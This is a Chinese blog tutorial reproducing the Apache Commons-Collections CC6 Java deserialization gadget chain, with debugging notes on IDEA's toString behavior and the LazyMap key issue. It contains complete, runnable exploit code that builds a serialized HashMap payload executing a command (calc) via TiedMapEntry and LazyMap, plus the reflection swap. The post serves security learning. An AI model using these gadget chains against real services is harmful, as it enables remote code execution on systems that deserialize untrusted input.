JAVA安全学习笔记--Commons-Collections链复现篇(02. CC6链)

CC6链

前言

  • 现在开始CC链代码审计的第二个链子CC6

先说一说 CC6 链同我们之前 CC1 链的一些不同之处吧,我们当时审计 CC1 链的时候要求是比较严格的。要求的环境为 jdk8u65Commons-Collections 3.2.1

而我们的 CC6 链,可以不受 jdk 版本制约。

如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS

CC6 链的前半条链与 CC1 LazyMap版的链子是一样的,也就是到 LazyMap 链

环境部署

这里我使用的环境依旧是CC1的环境

  • jdk 8u65
  • Comoons-Collections 3.2.1

具体部署教程可以看我之前的CC1的文章

攻击链分析

一、寻找链尾

我们前面说了CC6链可以介绍为:CC1(LazyMap)+ URLDNS

在CC6中的链尾其实还是一样用到 InvokerTransformertransform方法。

image-20250912130151822

一直到LazyMap#get之前都与CC1一直,这里就不重复介绍了。

二、寻找链子

  • 我们从LazyMap#get开始,find usages跟进。

这时候你可以发现有太多太多的方法直接调用了get方法,如果自己一个一个找显然不现实。

我们可以去ysoSerial官方看看它给出的CC6链子

image-20250912130759319

发现是使用到了TiedMapEntry下的getValue来调用get方法。那我们便直接跟进到TiedMapEntry

image-20250912131218066

注意到在TiedMapEntrygetValue方法中调用 map.get。同时可以看到它的有参构造函数是public的,我们可以直接利用它给map与key初始化。

我们写一个简单的EXP测试一手确保目前的链子是可用的:

package com.test.cc2;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC2 {
    public static void main(String[] args) {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        invokerTransformer.transform(runtime);
        HashMap hashMap = new HashMap();
        Map lazymap = LazyMap.decorate(hashMap,invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,runtime);
        tiedMapEntry.getValue();
}
}

运行看效果:

image-20250912133146170

  • 成功弹出计算器,说明目前是可用的。

这里的逻辑还是很简单的,直接 new 一个 TiedMapEntry 对象,并调用它的 getValue() 方法即可,它的 getValue 方法会去调用 map.get(key) 方法。

然后往上去找谁调用了 TiedMapEntry 中的 getValue() 方法。

  • 由于getValue方法也是非常的常见,所以直接find usages会发现非常的多,所以我们优先在当前类下看有没有方法调用了它。

image-20250912133504543

注意到在hashCode方法中调用了它。而hashCode我们是再熟悉不过了,在前面的反序列化基础与URLDNS链的讲解中就提到了很多此。所以一般我们的链子找到这里就可以"半场开香槟"了

三、完整的链子

  • 前面我们已经跟进到hashCode方法了,那往前怎么跟进呢?

其实这里就和我们之前复现URLDNS链一样了,当时我们也是找到了URL类下面的hashCode。再往前就是利用HashMap类连接到hashCode,基本都是下面这一套流程。

HashMap.readObject()
    HashMap.put() --自动调用-->   HashMap.hash()
        后续利用链.hashCode()

这一部分都是前面URLDNS讲解过的,这里就不讲了。现在我们的链子就显而易见了。

HashMap.readObject()    -->      HashMap.put(key,value)      -->自动调用 HashMap.hash()
--> TiedMapEntry#hashCode    --> TiedMapEntry#getValue    --> LazyMap#get      --> InvokeTransformer#transform

尝试编写EXP:

package com.test.cc2;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC2 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();

        Map lazymap = LazyMap.decorate(hashMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object,Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"bbb");
        serialize(hashMap1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

运行后发现弹出了计算器,看似是利用成功了对吧?nonono,断点调试以后你就会发现真的坑爹啊!

四、调试解决问题

  • 当断点设置在第三十行,会发现竟然直接弹计算器了

image-20250912145951054

这没道理啊,那到底是什么原因呢?Drunkbaby师傅给出了解答

因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了toSring方法然而这个方法里又调用了 getValue() 最终将链子走完,然后弹出计算器。

image-20250912150511777

怎么解决呢?在 IDEA 的偏好设置当中如图修改即可。

image-20250912150655178

其实这个选项还是很有用的,在断点调试的时候可以在下面显示数值,所以如果这个对链子没影响尽量开着。

但是我取消勾选之后仍然会弹出计算器我也不知道为什么,但是这毕竟是debug下才会触发,所以并不影响我们的程序正常运行。

  • 当我们将序列化与反序列化注释掉,发现执行完put就会弹出计算器

image-20250912153120181

这又是为什么呢?其实这里就跟当时URLDNS链遇到的情况一样。

image-20250912153200465

因为put方法中就会调用hash,而hash中又调用了hashCode,然后便完整的走完了利用链,所以就弹出了计算器。

所以我们需要想办法让put的时候无法利用成功,然后让readObject的时候可以利用成功。其实我们只需要通过反射将一些关键字段比如transformersfactory等等在put之前先随便设置为一个值,put之后通过反射设置为我们原本构造的即可。

这里修改factory比较方便。修改后的EXP如下:

package com.test.cc2;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC2 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();

        Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object,Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"bbb");

        Class clazz = LazyMap.class;
        Field fieldfactory = clazz.getDeclaredField("factory");
        fieldfactory.setAccessible(true);
        fieldfactory.set(lazymap,chainedTransformer);

        serialize(hashMap1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这个时候运行看效果:

image-20250912160244512

欸?为什么什么效果都没有,也没有弹出计算器,这是什么原因?我们给put这个地方下个断点,然后继续调试看看。

image-20250912160542788

一直跟进跟进跟进,到get方法,可以发现代码的逻辑是首先检测map中是否已经有了key。如果没有就会执行factory.transform语句,然后通过put将key放入map中,由于我们给key的传参是"aaa",所以这一步执行完map中的key便会多一个"aaa"。

然后关键来了,当我们进行反序列化也就是readObject的时候,再次走到这里便会检测到已经有一个key是"aaa"所以不会执行transform语句,自然就不会弹出计算器。

解决方案:

我们只需要在put语句执行之后通过remove方法将"aaa"的key删除即可。

image-20250912161114407

最终运行效果如下:

image-20250912161140358

终于弹出计算器了。

五、总结

其实把CC1搞懂以后可以发现CC6并不难,重点是要学会调试,不会调试可能在那卡半天也不知道失败的原因。

依旧画个流程图总结一下:

image-20250912161816947

依旧非常抽象,能看懂就行。

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注